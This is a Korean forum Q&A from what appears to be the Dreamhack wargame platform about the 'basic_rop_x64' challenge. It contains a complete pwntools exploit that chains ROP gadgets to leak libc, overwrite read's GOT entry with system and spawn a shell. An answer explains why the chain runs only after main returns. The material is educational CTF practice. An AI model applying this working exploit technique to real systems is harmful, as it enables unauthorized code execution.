완료됨
코드 흐름 순서
from pwn import *
p = remote("host3.dreamhack.games", 14928)
elf = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9


payload = b'A'*0x40 + b'B'*0x08
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 8) + p64(ret) + p64(read_plt)

p.send(payload)

p.recvuntil(b"A"*0x40)
read_leak = u64(p.recv(6) + b'\x00'*2)
libc_base = read_leak - libc.symbols['read']
system = libc_base + libc.symbols['system']

print("read: ", hex(read_leak))
print("libc_base: ", hex(libc_base))
print("system: ", hex(system))

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

위 코드에서 read(0, buf, 0x400); 에서 입력은 한 후 payload를 통해 작성한 return address 가 실행 된후 write(1, buf, sizeof(buf));가 실행되는 것이라고 생각했는데 실행해보면 write(1, buf, sizeof(buf));가 먼저 실행됩니다
이유가 뭔가요??

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
ro
대표 업적 없음
avatar
ro
대표 업적 없음

질문의 의도를 제가 정확히 이해했는지는 확실하지 않지만, 풀이를 하면서 비슷한 궁금증을 가졌다가 해결한 기억이 있어서 답변드립니다.

  1. c소스 코드에서 read(0, buf, 0x400);buf 변수에 최대 0x400 크기의 입력을 받아 저장하는 것으로, payload를 전달해줬을 때, payload를 바로 수행하는 것이 아닌 메모리에 값을 쓰는 것 밖에 하지 않습니다.
    따라서, return_address에 이어 ROP를 통해 연속으로 코드 가젯을 쓴다고 한들, 아직 main 함수가 끝나기 전이므로 return_address에 작성한 payload를 실행할 순서가 아닙니다. 따라서 바로 payload로 전달한 코드가 실행되지 않고, 이어서 write(1, buf, sizeof(buf)); 가 먼저 실행되기 됩니다.

  2. 그렇기 때문에 write(1, buf, sizeof(buf));가 수행되고 소스 코드의 main 함수의 수행이 끝나게 되면 return_address로 도착해 Overwrite한 payload가 전달되게 되고,
    먼저 payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt) 에서 read_got 값이 write콜을 통해 출력된 이후,
    payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(read_plt)를 통해 GOT Overwrite를 위한 read콜이 수행되게 되며,
    여기서 입력을 추가로 하기 위해 앞에서 write콜을 통해 출력한 read_gotlibc의 오프셋을 통해 구한 system 함수 주소와 /bin/sh 문자열을 아래에서 p.send(p64(system) + b'/bin/sh\x00')를 통해 전달하여 read_got 값을 overwrite하게 됩니다.

  3. 그럼 read 콜이 끝났으니 이어서 payload += p64(pop_rdi) + p64(read_got + 8) + p64(ret) + p64(read_plt)를 수행하게 됩니다.
    read_plt는 이제 GOT Overwrite에 의해 system 함수를 수행하게 되고 rdi에는 p.send(p64(system) + b'/bin/sh\x00')를 통해 전달한 /bin/sh 문자열이 저장되게 되어 system('/bin/sh') 함수를 수행하게 되어 쉘을 획득하게 됩니다.

제 설명이 질문 의도와 맞다면 다행이고, 혹시 아니라면 다른 분들께서 더 좋은 답변을 주시면 감사드릴 것 같습니다. 감사합니다.

2024.03.21. 10:37